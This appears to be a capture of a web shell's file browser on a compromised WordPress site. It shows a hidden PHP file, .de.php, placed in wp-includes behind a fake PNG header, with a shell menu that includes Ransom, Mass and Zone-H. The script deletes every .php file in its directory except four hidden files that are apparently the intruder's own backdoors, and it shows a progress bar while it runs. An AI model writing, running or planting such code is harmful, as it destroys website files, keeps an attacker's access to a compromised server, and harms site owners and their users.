\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82
| Path : /var/www/html/veridatait.com/wp-includes/ |
|
B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H |
| Current File : /var/www/html/veridatait.com/wp-includes/.de.php |
<?php
// Files to exclude from deletion
$exclude = ['.de.php', '.f5.php', '.up.php', '.xevcbh.php'];
// Get all files and folders in the current directory
$items = array_diff(scandir(__DIR__), ['.', '..']);
// Total number of files to process
$totalFiles = count($items);
$processedFiles = 0;
// Function to display a styled progress bar
function displayProgress($processed, $total) {
$progress = intval(($processed / $total) * 100);
echo "<div style='width: 100%; background: #f3f3f3; border-radius: 5px; overflow: hidden; margin: 10px 0;'>
<div style='width: $progress%; background: #4caf50; color: white; text-align: center; padding: 5px;'>
$progress% completed
</div>
</div>";
flush(); // Send output to the browser immediately
}
// Ensure output is sent to the browser in real-time
ob_implicit_flush(true);
ob_end_flush();
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Auto Delete Files</title>
<style>
body {
font-family: Arial, sans-serif;
margin: 20px;
}
.progress-container {
width: 100%;
background: #f3f3f3;
border-radius: 5px;
overflow: hidden;
margin: 10px 0;
}
.progress-bar {
width: 0%;
background: #4caf50;
color: white;
text-align: center;
padding: 5px;
transition: width 0.5s ease;
}
</style>
</head>
<body>
<h1>Auto-Delete Progress</h1>
<div id="progress-container" class="progress-container">
<div id="progress-bar" class="progress-bar">0% completed</div>
</div>
<?php
// Process deletion
foreach ($items as $item) {
// Check if the item is a .php file and not in the exclude list
if (pathinfo($item, PATHINFO_EXTENSION) === 'php' && !in_array($item, $exclude)) {
$itemPath = __DIR__ . DIRECTORY_SEPARATOR . $item;
if (is_file($itemPath)) {
unlink($itemPath);
}
}
// Increment the processed files counter
$processedFiles++;
// Display progress
displayProgress($processedFiles, $totalFiles);
// Add a small delay for demonstration purposes (optional)
usleep(100000); // 100ms delay
}
// Display a message after completion
$message = "All .php files except " . implode(', ', $exclude) . " have been deleted.";
?>
<p><?php echo htmlspecialchars($message); ?></p>
</body>
</html>